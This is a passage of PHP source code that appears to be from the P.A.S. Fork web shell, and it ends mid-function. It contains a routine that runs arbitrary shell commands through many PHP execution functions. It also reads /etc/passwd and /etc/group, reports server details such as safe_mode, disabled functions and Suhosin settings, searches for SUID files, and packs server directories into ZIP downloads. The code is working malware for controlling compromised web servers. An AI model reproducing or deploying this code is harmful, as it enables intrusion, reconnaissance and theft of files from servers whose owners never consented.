function getFile($p){
	$v = NULL;
	
	if($v = fopen($p,'rb')){
		$r = '';
		while(!feof($v)) $r .= fread($v, 1048576);
		fclose($v);
		return $r;
	}
	
	if(PHP_VERSION >= '4.3'){
		$v = file_get_contents($p);
		if(is_string($v)) return $v;
	}
	
	$v = file($p);
	if(is_array($v)) return implode('',$v);
	
	if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){
		try{
			$v = new SplFileObject($p,'rb');
		}
		catch(Exception $e){
			$v = FALSE;
		}
	
		if($v){
			$r = '';
			while(!$v->eof()) $r .= $v->fgets();
			unset($v);
			return$r;
		}
	}
	endif;
	
	if(RO && defined('FORCE_GZIP')){
		if($v = gzopen($p)){
			$r='';
			while(!gzeof($v)) $r .= gzread($v, 1048576);
			gzclose($v);
			return $r;
		}
		$v = gzfile($p);
		if(is_array($v)) return implode('',$v);
	}
	
	if(RO && $v=ob_start()){
		if(is_int(readfile($p)) || copy($p, 'php://output') || (defined('FORCE_GZIP') && is_int(readgzfile($p)))){
			$r = ob_get_contents();
			ob_end_clean();
			return $r;
		}
		ob_end_clean();
	}
	
	return FALSE;
}

function delFile($p){
	return (unlink($p) || (NIX && rename($p,'/dev/null') && !is_file($p) && !file_exists($p)));
}

function nesc($v){
	return "'".str_replace("'", '\'"\'"\'', $v)."'";
}

function wesc($v){
	return str_replace(array('^', '&', '\\', '<', '>', '|'), array('^^', '^&', '^\\', '^<', '^>', '^|'), $v);
}

function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') {
	$se = '2>' . ($se ? '&1' : (NIX ? '/dev/null' : 'nul')) . $or;
	if (NIX)
		$sc = 'echo ' . nesc($cmd) . '|' . ($sh === '' ? '$0' : $sh) . ' ' . $se . ' & exit';
	else
		$sc = ($sh === '' ? '(' . $cmd . ')' : $sh . ' /C ' . wesc($cmd) . ' ') . $se;
	switch ($fnc) {
		case 0:
			system($sc);
			break;
		case 1:
			passthru($sc);
			break;
		case 2:
			echo `$sc`;
			break;
		case 3:
			echo shell_exec($sc);
			break;
		case 4:
			$r = NULL;
			exec($sc, $r);
			if (is_array($r))
				foreach ($r as $v)
					echo $v, "\n";
			break;
		case 5:
			if ($h = popen($sc, 'r')) {
				while (!feof($h))
					echo fread($h, 1024);
				pclose($h);
			}
			break;
		case 6:
			if($h = proc_open($sc,array(array('pipe','r'), array('pipe','w'), array('pipe','a')),$p)){
				echo stream_get_contents($p[1]);
				fclose($p[0]);
				fclose($p[1]);
				proc_close($h);
			}
			break;
		case 7:
			if ($h = new COM('WScript.Shell'))
				echo $h->Exec(($sh === '' ? 'cmd' : $sh) . ' /C ' . $cmd . ' ' . $se)->StdOut->ReadAll();
			break;
		case 101:
			echo safemode($cmd);
	}
}


function uName($id){
	if($id === -1) return'?';
	
	static $a = NULL, $f = FALSE;
	
	if($a === NULL){
		if($v = getFile('/etc/passwd')){
			$a = array();
			$v = explode("\n", $v);
			foreach($v as $i)
				if($i){
					$i = explode(':',$i,4);
					$a[$i[2]]=$i[0];
				}
		}
		elseif(defined('POSIX_F_OK') || function_exists('posix_getpwuid'))
			$f = (bool)posix_getpwuid(0);
	}
	
	if($a)
		if(isset($a[$id])) return $a[$id];
	elseif($f)
		if($v = posix_getpwuid($id)) return $v['name'];
	
	return $id;
}

function gName($id){
	if($id === -1) return'?';
	
	static $a = NULL, $f = FALSE;
	
	if($a === NULL){
		if($v = getFile('/etc/group')){
			$a = array();
			$v = explode("\n",$v);
			foreach($v as$i)
				if($i){
					$i = explode(':', $i, 4);
					$a[$i[2]] = $i[0];
				}
		}
		elseif(defined('POSIX_F_OK') || function_exists('posix_getgrgid')) $f = (bool)posix_getgrgid(0);
	}

	if($a)
		if(isset($a[$id])) return $a[$id];
	elseif($f)
		if($v = posix_getgrgid($id)) return $v['name'];
	
	return$id;

}

function getINI($s, &$v){
	$v = trim(ini_get($s));
	return $v!=='';
}

function isINI($v){
	$v = strtolower(trim(ini_get($v)));
	return ($v === '1' || $v === 'on');
}

function samePath($a){
	$p = NULL;
	foreach($a as $v){
		$v = array_slice(explode(DSC, rtrim($v,DSC)), 0, -1);
		if($p === NULL) $p = $v;
		else{
			$k=array();
			$c=count($p);
			$i=count($v);
			if($i < $c) $c=$i;
			for($i=0; $i < $c; ++$i)
			if($p[$i] === $v[$i]) $k[] = $p[$i];
			else
				break;
			$p = $k;
			if($i===0) break;
			}
	}
	
	return count($p) === 0 ? '': implode(DSC, $p).DSC;
}

function escFileName($v){
	return str_replace(array('%','/','\\',':','*','?','"','<','>','|'), array('%25',"\xe2\x95\xb1","\xe2\x95\xb2","\xea\x9e\x89","\xe2\x88\x97", '%3F', "\xe2\x80\x9f", '%3C', '%3E',"\xe2\x88\xa3"), $v);
}

function infMain($h = FALSE){
	echo $h ? '<table id="tblInf"><tr title="HTTP Host, Server Addr, Server Name, Host Name, Host IP"><th>' : '[{"','Address', $h ? '</th><td>' : '":';
	$a = array();
	
	foreach(array('HTTP_HOST','SERVER_ADDR','SERVER_NAME') as $v)
		if(isset($_SERVER[$v])){
			$v = trim($_SERVER[$v]);
			if($v!==''&&!in_array($v,$a))$a[]=$v;
		}
		
		if($v = php_uname('n')){
			$v = trim($v);
			if($v !== '' && !in_array($v,$a)) $a[] = $v;
		}
		
		if(PHP_VERSION>='5.3' && ($v = gethostname())){
			$v = trim($v);
			if($v !== '' && !in_array($v,$a)) $a[] = $v;
		}
		
		$r='';
		foreach($a as $k => $v){
			if($k > 0) $r.=' / ';
			$r .= $v;
			if($i=gethostbynamel($v)){
				$b = FALSE;
				foreach($i as $v)
					if(!in_array($v, $a)){
						$a[] = $v;
						if($b) $r .= ', ';
						else{$b = TRUE; $r .= ' (';} $r .= $v;
					}
					
					if($b) $r .= ')';
			}
			elseif(($i = gethostbyname($v)) && !in_array($v, $a)){
				$a[] = $v;
				$r .= ' ('.$v.')';
			}
		}
		
		if($h) echo escHTML($r);
		else jsonEcho($r);
		
		echo $h ? '</td></tr><tr><th>' : ',"','System', $h ? '</th><td>' : '":';
		
		$r = '';
		if(($v = trim(php_uname('s').' '.php_uname('r').' '.php_uname('v').' '.php_uname('m'))) !== '') $r = $v;
		elseif(NIX && ($v = getFile('/proc/version'))) $r = $v;
		else{
			if(defined('PHP_OS')) $r = PHP_OS;
			else $r = NIX ? '*NIX' : 'Windows';
			
			if(!NIX){
				$a = array();
				foreach(array('PHP_WINDOWS_VERSION_MAJOR','PHP_WINDOWS_VERSION_MINOR','PHP_WINDOWS_VERSION_BUILD') as $v) if(defined($v)) $a[] = constant($v);
				
				if($a) $r .=' '.implode('.', $a);
				if(defined('PHP_WINDOWS_VERSION_SP_MAJOR') && PHP_WINDOWS_VERSION_SP_MAJOR > 0){
					$r .= ' SP'.PHP_WINDOWS_VERSION_SP_MAJOR;
					if(defined('PHP_WINDOWS_VERSION_SP_MINOR') && PHP_WINDOWS_VERSION_SP_MINOR > 0) $r .= '.'.PHP_WINDOWS_VERSION_SP_MINOR;
				}
			}
		}
		
		if(NIX && (($v = trim(getFile('/etc/issue.net'))) !== '' || ($v = trim(getFile('/etc/issue'))) !== '')) $r .= ' ('.$v.')';
		
		if($h)
			echo escHTML($r);
		else
			jsonEcho($r);
		
		if(!empty($_SERVER['SERVER_SOFTWARE'])){
			echo $h ?'</td></tr><tr><th>' : ',"','Server', $h ? '</th><td>':'":';
			if($h)
				echo escHTML($_SERVER['SERVER_SOFTWARE']);
			else
				jsonEcho($_SERVER['SERVER_SOFTWARE']);
		}
		
		echo $h ? '</td></tr><tr><th>' : ',"','Software', $h ? '</th><td>' : '":';
		
		$r = 'PHP/'.PHP_VERSION;
		
		if(defined('SUHOSIN_PATCH_VERSION')) $r .= ' with Suhosin patch/'.SUHOSIN_PATCH_VERSION;
		
		$r .= '; ';
		if(defined('CURLE_OK')){
			$r .= 'cURL';
			$v = curl_version();
			if(isset($v['version'])) $r.='/'.$v['version'];
			$r.='; ';
		}
		
		if($v = phpversion('Suhosin')) $r.=' Suhosin/'.$v;
		
		if($h)
			echo escHTML($r);
		else
			jsonEcho($r);
			
		echo $h ? '</td></tr><tr><th>' : ',"','User', $h ? '</th><td>' : '":';
		
		$r='';
		$a = array();
		if(NIX){
			if(defined('POSIX_F_OK') || function_exists('posix_geteuid')){
				if(is_int($v = posix_geteuid())) $r .= 'euid='.$v.'('.uName($v).'); ';
				if(is_int($v = posix_getegid())) $r .= 'egid='.$v.'('.gName($v).'); ';
			}
			
			if(is_int($v = getmyuid())) $r .= 'ouid='.$v.'('.uName($v).'); ';
			if(is_int($v = getmygid())) $r .= 'ogid='.$v.'('.gName($v).'); ';
		}
		
		$b = FALSE;
		
		foreach(array('REMOTE_ADDR','HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR') as $i){
			if(!empty($_SERVER[$i])){
				if($b)
					$r.= ', ';
				else{
					$b = TRUE;
					$r .= 'IP: ';
				}
				
				$r .= $_SERVER[$i];
			}
		}
		
		if($b)
			$r .= ';';
		if($h)
			echo escHTML($r);
		else
			jsonEcho($r);
		
		echo $h ? '</td></tr><tr><th colspan="2"></th></tr><tr><th>':'},{"','Safe mode', $h ? '</th><td>' : '":';
		
		if(isINI('safe_mode')){
			$v = isINI('safe_mode_gid') ? 'GID':'UID';
			echo $h ? $v : '"'.$v.'"';
			foreach(array('Include dir' => 'safe_mode_include_dir','Exec dir' => 'safe_mode_exec_dir', 'Vars prefixes' => 'safe_mode_allowed_env_vars', 'Protected vars' => 'safe_mode_protected_env_vars') as $k => $v){
				if(!getINI($v, $v)) $v = '-';
				
				echo $h ? '</td></tr><tr><th>' : ',"', $k, $h?'</th><td>' : '":';
				if($h)
					echo escHTML($v);
				else
					jsonEcho($v);
			}
		}
		else
			echo $h ? '-' : '"-"';
		
		echo $h ? '</td></tr>' : '';
		foreach(array('Open basedir' => 'open_basedir', 'Disabled functions' => 'disable_functions', 'Disabled classes' => 'disable_classes') as $k => $v){
			if(!getINI($v, $v)) $v = '-';
			echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
			if($h)
				echo escHTML($v),'</td></tr>';
			else
				jsonEcho($v);}
			
			if(getINI('suhosin.simulation', $v)){
				echo $h ? '<tr><th colspan="2"></th></tr><tr><th>' : '},{"', 'Suhosin mode', $h ? '</th><td>' : '":"', $v ? 'simulation' : 'break', $h ? '</td></tr><tr><th>' : '","','Allow rewrite', $h ? '</th><td>' : '":';
				
			if(!getINI('suhosin.perdir', $v) || !$v) $v = '-';
			
			if($h)
				echo escHTML($v),'</td></tr>';
			else jsonEcho($v);
			
			foreach(array('Functions whitelist' => 'suhosin.executor.func.whitelist', 'Functions blacklist' => 'suhosin.executor.func.blacklist', 'Eval whitelist' => 'suhosin.executor.eval.whitelist', 'Eval blacklist' => 'suhosin.executor.eval.blacklist') as $k => $v){
				if(!getINI($v, $v)) $v = '-';
				echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
				if($h)
					echo escHTML($v),'</td></tr>';
				else jsonEcho($v);
			}
			
			$a = array('eval' => 'suhosin.executor.disable_eval', '/e modifier' => 'suhosin.executor.disable_emodifier');
			
			$i = array();
			foreach($a as$k => $v)
				if(isINI($v)) $i[] = $k;
				echo $h ? '<tr><th>' : ',"', 'Disabled', $h ?'</th><td>' : '":"', $i ? implode(', ', $i) : '-', $h ? '</td></tr>' : '"';
				if(isINI('suhosin.log.file') && getINI('suhosin.log.file.name', $v)){
					echo $h ? '<tr><th>' : ',"','Log file', $h ? '</th><td>' : '":';
					if($h)
						echo escHTML($v),'</td></tr>';
					else
						jsonEcho($v);
				}
		}
		
	echo $h ? '</table>' : '}]';
}


function parsePath($p, &$b, &$n){
	$v = rtrim($p, DSC);
	$i = strrpos($v,DSC);
	if($i === FALSE){
		if(!NIX && strlen($v) === 2 && $v[1] === ':'){
			$b = $v.DSC;
			$n = '';
		}
		else{
			$b = DSC;
			$n = $v;
		}
	}
	else{
		$b = substr($v,0,$i+1);
		$n = substr($v,$i+1);
	}
}


class FileInfo{
	
	function __construct($v){
		if(is_string($v)){
			$this->fb = '';
			$this->fn= '' ;
			
			parsePath($v, $this->fb, $this->fn);
			$this->fp = $this->fb.$this->fn;
		}
		else{
			$this->fi = $v;
			$this->fp = $v->getPathName();
			$this->fb = $v->getPath();
			$this->fn = $v->getFileName();
		}
		
		$this->rp = $this->fp;
		if($this->isLink()){
			$this->rp = $this->getLinkTarget();
			if(isset($this->t)) unset($this->t);
			if(isset($this->fi)) unset($this->fi);
		}
	}
	
	function getPath(){
		return$this->fb;
	}
	
	function getFileName(){
		return$this->fn;
	}
	
	function getPathName(){
		return$this->fp;
	}
	
	function isDir(){
		if(isset($this->d)) return$this->d;
		if(!isset($this->p)) $this->getPerms();
		if($this->p !== 0){
			$this->d = ($this->p & 0170000) === 0040000;
			return $this->d;
		}
		if(!isset($this->t)) $this->type();
		if($this->t !== FALSE){
			$this->d = $this->t === 'dir';
			return $this->d;
		}
		
		$v = is_dir($this->fp);
		if(is_bool($v)){
			$this->d = $v;
			return $v;
		}
		if(PHP_VERSION>='5') : if(!isset($this->fi)) $this->spl();
		if($this->fi !== FALSE){
			try{
				$v = $this->fi->isDir();
			}
			catch(Exception $e){
				$v = NULL;
			}
			if(is_bool($v)){
				$this->d = $v;
				return $v;
			}
		}
		endif;
		$this->d = FALSE;
		
		return FALSE;
	}
	
	function isLink() {
	    if (isset($this->l))
	        return $this->l;
	    
	    $v = lstat($this->fp);
	    
	    if (is_array($v)) {
	        $this->l = ($v[2] & 0170000) === 0120000;
	        return $this->l;
	    }
	    if (!isset($this->t))
	        $this->type();
	    if ($this->t !== FALSE) {
	        $this->l = $this->t === 'link';
	        return $this->l;
	    }
	    $v = is_link($this->fp);
	    if (is_bool($v)) {
	        $this->l = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->isLink();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_bool($v)) {
	                $this->l = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->l = FALSE;
	    return FALSE;
	}
	
	function getLinkTarget() {
	    if (isset($this->f))
	        return $this->f;
	    if (NIX || PHP_VERSION >= '5.3') {
	        $v = readlink($this->fp);
	        if (is_string($v)) {
	            $this->f = $v;
	            return $v;
	        }
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getLinkTarget();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_string($v)) {
	                $this->f = $v;
	                return $v;
	            }
	        }
	    endif;
	    $v = realpath($this->fp);
	    if (is_string($v)) {
	        $this->f = $v;
	        return $v;
	    }
	    $this->f = '';
	    return '';
	}
	
	function getSize() {
	    if (isset($this->s))
	        return $this->s;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->s = $this->i[7];
	        return $this->s;
	    }
	    $v = filesize($this->fp);
	    if (is_int($v)) {
	        $this->s = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getSize();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->s = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->s = -1;
	    return -1;
	}
	
	function getCTime() {
	    if (isset($this->c))
	        return $this->c;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->c = $this->i[10];
	        return $this->c;
	    }
	    $v = filectime($this->fp);
	    if (is_int($v)) {
	        $this->c = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getCTime();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->c = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->c = 0;
	    return 0;
	}
	
	function getMTime() {
	    if (isset($this->m))
	        return $this->m;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->m = $this->i[9];
	        return $this->m;
	    }
	    $v = filemtime($this->fp);
	    if (is_int($v)) {
	        $this->m = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getMTime();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->m = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->m = 0;
	    return 0;
	}
	
	function getOwner() {
	    if (isset($this->o))
	        return $this->o;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->o = $this->i[4];
	        return $this->o;
	    }
	    $v = fileowner($this->fp);
	    if (is_int($v)) {
	        $this->o = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getOwner();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->o = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->o = -1;
	    return -1;
	}
	
	function getGroup() {
	    if (isset($this->g))
	        return $this->g;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->g = $this->i[5];
	        return $this->g;
	    }
	    $v = filegroup($this->fp);
	    if (is_int($v)) {
	        $this->g = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getGroup();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->g = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->g = -1;
	    return -1;
	}
	
	function getPerms() {
	    if (isset($this->p))
	        return $this->p;
	    if (!isset($this->i))
	        $this->stat();
	    if ($this->i !== FALSE) {
	        $this->p = $this->i[2];
	        return $this->p;
	    }
	    $v = fileperms($this->fp);
	    if (is_int($v)) {
	        $this->p = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->getPerms();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_int($v)) {
	                $this->p = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->p = 0;
	    return 0;
	}
	
	function isReadable() {
	    if (isset($this->r))
	        return $this->r;
	    $v = is_readable($this->fp);
	    if (is_bool($v)) {
	        $this->r = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->isReadable();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_bool($v)) {
	                $this->r = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->r = FALSE;
	    return FALSE;
	}
	
	function isWritable() {
	    if (isset($this->w))
	        return $this->w;
	    $v = is_writable($this->fp);
	    if (is_bool($v)) {
	        $this->w = $v;
	        return $v;
	    }
	    if (PHP_VERSION >= '5'):
	        if (!isset($this->fi))
	            $this->spl();
	        if ($this->fi !== FALSE) {
	            try {
	                $v = $this->fi->isWritable();
	            }
	            catch (Exception $e) {
	                $v = NULL;
	            }
	            if (is_bool($v)) {
	                $this->w = $v;
	                return $v;
	            }
	        }
	    endif;
	    $this->w = FALSE;
	    return FALSE;
	}
	
	function getMode() {
	    $v = 0;
	    if ($this->isReadable())
	        $v += 1;
	    if ($this->isWritable())
	        $v += 2;
	    return $v;
	}
	
	function stat() {
	    $v = stat($this->fp);
	    if (is_array($v)) {
	        $this->i = $v;
	        return;
	    }
	    $v       = lstat($this->fp);
	    $this->i = is_array($v) ? $v : FALSE;
	}
	
	function type() {
	    $v       = filetype($this->rp);
	    $this->t = $v ? $v : FALSE;
	}
	
	function spl() {
	    $this->fi = FALSE;
	    if (PHP_VERSION >= '5'):
	        if (PHP_VERSION >= '5.1.2') {
	            try {
	                $this->fi = new SplFileInfo($this->rp);
	            }
	            catch (Exception $e) {
	                $this->fi = FALSE;
	            }
	        }
	    endif;
	}
	
}


if(isset($D['a'])){
	
	class PZIP {
	    var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array();
	    function init($bp='') {
	        $this->_bpl = strlen($bp);
	        if ($h = tmpfile())
	            $this->_cdfh = $h;
	        else {
	            $n = tempName();
	            $a = array(
	                'upload_tmp_dir',
	                'session.save_path',
	                'user_dir',
	                'doc_root'
	            );
	            foreach ($a as $v)
	                if ($p = ini_get($v)) {
	                    $p .= DSC . $n;
	                    if ($h = fopen($p, 'bw+')) {
	                        flock($h, LOCK_EX);
	                        $this->_cdfh = $h;
	                        $this->_cdfp = $p;
	                        return TRUE;
	                    }
	                    if (PHP_VERSION >= '5'):
	                        if (PHP_VERSION >= '5.1') {
	                            try {
	                                $h = new SplFileObject($p, 'bw+');
	                            }
	                            catch (Exception $e) {
	                                $h = NULL;
	                            }
	                            if ($h) {
	                                $h->flock(LOCK_EX);
	                                $this->_cdfh = $h;
	                                $this->_cdfp = $p;
	                                $this->_cdfo = TRUE;
	                                return TRUE;
	                            }
	                        }
	                    endif;
	                }
	            $p = selfPath() . $n;
	            if ($h = fopen($p, 'bw+')) {
	                flock($h, LOCK_EX);
	                $this->_cdfh = $h;
	                $this->_cdfp = $p;
	                return TRUE;
	            }
	            if (PHP_VERSION >= '5'):
	                if (PHP_VERSION >= '5.1') {
	                    try {
	                        $h = new SplFileObject($p, 'bw+');
	                    }
	                    catch (Exception $e) {
	                        $h = NULL;
	                    }
	                    if ($h) {
	                        $h->flock(LOCK_EX);
	                        $this->_cdfh = $h;
	                        $this->_cdfp = $p;
	                        $this->_cdfo = TRUE;
	                        return TRUE;
	                    }
	                }
	            endif;
	        }
	        return FALSE;
	    }
	    function fileHeader($n, $t) {
	        echo "\x50\x4b\x03\x04\x14\x00\x08\x00\x00\x00", $t, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", pack('v', strlen($n)), "\x00\x00", $n;
	        ob_start('zipCalc', 1048576);
	    }
	    function fileFooter($n, $t) {
	        ob_end_flush();
	        $v = zipCalc(NULL);
	        $s = pack('V', $v[0]);
	        $c = pack('V', $v[1] ^ 0xffffffff);
	        echo "\x50\x4b\x07\x08", $c, $s, $s;
	        $fh   = $this->_cdfh;
	        $nl   = strlen($n);
	        $data = "\x50\x4b\x01\x02\x00\x00\x14\x00\x08\x00\x00\x00" . $t . $c . $s . $s . pack('v', $nl) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->_cdso) . $n;
	        if ($this->_cdfo) {
	            $fh->fwrite($data);
	            $fh->fflush();
	        } else {
	            fwrite($fh, $data);
	            fflush($fh);
	        }
	        ++$this->_cdrc;
	        $this->_cdso += 46 + $v[0] + $nl;
	    }
	    function addPath($p) {
	        $f = new FileInfo($p);
	        if ($f->isDir()) {
	            if (substr($p, -1) !== DSC)
	                $p .= DSC;
	            $f = NULL;
	            if (!dirRead($p, array(
	                &$this,
	                'addPath'
	            )))
	                $this->_flrs[] = substr($p, $this->_bpl);
	        } else {
	            $t = packTime($f->getMTime());
	            $f = substr($p, $this->_bpl);
	            if (!NIX)
	                $f = str_replace(DSC, '/', $f);
	            $this->fileHeader($f, $t);
	            if (!outFile($p))
	                $this->_flrs[] = $f;
	            $this->fileFooter($f, $t);
	        }
	    }
	    function close() {
	        if (count($this->_flrs) > 0) {
	            $n = 'CANT_READ.txt';
	            $t = packTime(time());
	            $this->fileHeader($n, $t);
	            foreach ($this->_flrs as $v)
	                echo $v, "\n";
	            $this->fileFooter($n, $t);
	        }
	        $fh = $this->_cdfh;
	        if ($this->_cdfo) {
	            $s = $fh->ftell();
	            $fh->fseek(0);
	            if (!is_int($fh->fpassthru()))
	                while (!$fh->eof())
	                    echo $fh->fread(1048576);
	            $fh->flock(LOCK_UN);
	            unset($fh, $this->_cdfh);
	        } else {
	            $s = ftell($fh);
	            fseek($fh, 0);
	            if (!is_int(fpassthru($fh)))
	                while (!feof($fh))
	                    echo fread($fh, 1048576);
	            flock($fh, LOCK_UN);
	            fclose($fh);
	        }
	        if ($this->_cdfp !== NULL)
	            delFile($this->_cdfp);
	        $v = pack('v', $this->_cdrc);
	        $c = 'Archived by P.A.S. Fork v. ' . VER;
	        echo "\x50\x4b\x05\x06\x00\x00\x00\x00", $v, $v, pack('V', $s), pack('V', $this->_cdso), pack('v', strlen($c)), $c;
	        sDie();
	    }
}
	
function packTime($v) {
    $v = getdate($v);
    return pack('vv', (($v['hours'] << 11) + ($v['minutes'] << 5) + $v['seconds'] >> 1), ((($v['year'] - 1980) << 9) + ($v['mon'] << 5) + $v['mday']));
}

if (!defined('PHP_INT_MAX'))
    define('PHP_INT_MAX', intval('10000000000000000000'));
    
function zipCalc($buff) {
    static $crcTbl = NULL, $chrTbl = NULL, $dataSize = 0, $crcSum = 0xffffffff, $shftFix = 0;
    if ($crcTbl === NULL) {
        $shftFix = PHP_INT_MAX >> 0;
        for ($i = 0; $i < 256; ++$i) {
            $v = $i;
            for ($j = 8; $j; --$j)
                $v = $v & 1 ? $v >> 1 & $shftFix ^ 0xEDB88320 : $v >> 1 & $shftFix;
            $crcTbl[]        = $v;
            $chrTbl[chr($i)] = $i;
        }
        $shftFix = PHP_INT_MAX >> 7;
    } elseif ($buff === NULL) {
        $v        = array(
            $dataSize,
            $crcSum
        );
        $dataSize = 0;
        $crcSum   = 0xffffffff;
        return $v;
    }
    $c = strlen($buff);
    $dataSize += $c;
    for ($i = 0; $i < $c; ++$i)
        $crcSum = $crcTbl[$crcSum & 0xFF ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix;
    return $buff;
}

function jsonEcho($v) {
    static $s = NULL, $r = NULL;
    if ($s === NULL) {
        $s = array(
            '\\',
            '"'
        );
        $r = array(
            '\u005c',
            '\u0022'
        );
        for ($i = 0; $i <= 0x1F; ++$i) {
            $s[] = chr($i);
            $r[] = sprintf('\u00%02s', dechex($i));
        }
    }
    echo $v === NULL ? '"NULL"' : '"' . str_replace($s, $r, $v) . '"';
}

switch ($D['a']) {
    case 'f':
        function testProp($a, $v) {
            foreach ($a as $i)
                if (is_array($i)) {
                    if (count($i) === 2) {
                        if ($v > $i[0] && $v < $i[1])
                            return TRUE;
                    } elseif (isset($i[0])) {
                        if ($v > $i[0])
                            return TRUE;
                    } elseif ($v < $i[1])
                        return TRUE;
                } elseif ($v === $i)
                    return TRUE;
            return FALSE;
        }
        class Searcher {
            var $f, $d, $p, $a;
            function __construct($v) {
                echo '{"f":[';
                $this->f = $v;
                $this->d = 0;
                $this->p = NULL;
                $this->a = array();
            }
            function filter($v) {
                $i = new FileInfo($v);
                $k = $i->getFileName();
                $f = $this->f;
                if ($k === '.' || $k === '..')
                    return;
                if ($i->isLink() && !isset($f['l']))
                    return;
                $b = $i->isDir();
                if ($b && (!isset($f['d']) || $f['d'] > $this->d))
                    $this->a[] = $v;
                if (isset($f['y']) && ($f['y'] === 1 ? !$b : $b))
                    return;
                if (isset($f['p']) && $i->getMode() < $f['p'])
                    return;
                if (!$b && isset($f['u']) && ($i->getPerms() & 0007000) !== 0004000)
                    return;
                if (isset($f['n'])) {
                    if ($k !== $f['n'])
                        return;
                } elseif (isset($f['i'])) {
                    if (strcasecmp($k, $f['i']) !== 0)
                        return;
                } elseif (isset($f['r'])) {
                    if (!preg_match($f['r'], $k))
                        return;
                }
                if (isset($f['o']) && !testProp($f['o'], $i->getOwner()))
                    return;
                if (isset($f['g']) && !testProp($f['g'], $i->getGroup()))
                    return;
                if (isset($f['e']) && !testProp($f['e'], $i->getCTime()))
                    return;
                if (isset($f['m']) && !testProp($f['m'], $i->getMTime()))
                    return;
                if (!$b && isset($f['z']) && !testProp($f['z'], $i->getSize()))
                    return;
                if (!$b && (isset($f['t']) || isset($f['v']) || isset($f['x']))) {
                    if (!is_string($k = getFile($v)))
                        return;
                    if (isset($f['t'])) {
                        if (strpos($k, $f['t']) === FALSE)
                            return;
                    } elseif (isset($f['v'])) {
                        if (stristr($k, $f['v']) === FALSE)
                            return;
                    } elseif (!preg_match($f['x'], $k))
                        return;
                }
                $k = $i->getPath();
                if ($this->p !== $k) {
                    if ($this->p !== NULL)
                        echo ']},';
                    echo '{"p":';
                    jsonEcho($k);
                    $this->p = $k;
                    $k       = new FileInfo($k);
                    echo ',"m":', $k->getMode(), ',"f":[';
                }
                outFileInfo($i);
            }
            function search($v) {
                $this->a = array();
                dirRead($v, array(
                    &$this,
                    'filter'
                ));
                if (!isset($this->f['d']) || $this->f['d'] > $this->d) {
                    ++$this->d;
                    $a = $this->a;
                    foreach ($a as $v)
                        $this->search($v);
                }
            }
            function finish() {
                if ($this->p !== NULL) {
                    echo ']}]';
                    outFileInfo(NULL, TRUE);
                } else
                    echo ']';
                sDie('}');
            }
        }
        function dirRead($p, $f) {
            $b = is_string($f);
            if (substr($p, -1) !== DSC)
                $p .= DSC;
            if ($v = opendir($p)) {
                while (($i = readdir($v)) !== FALSE)
                    if ($i !== '.' && $i !== '..')
                        $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
                closedir($v);
                return TRUE;
            }
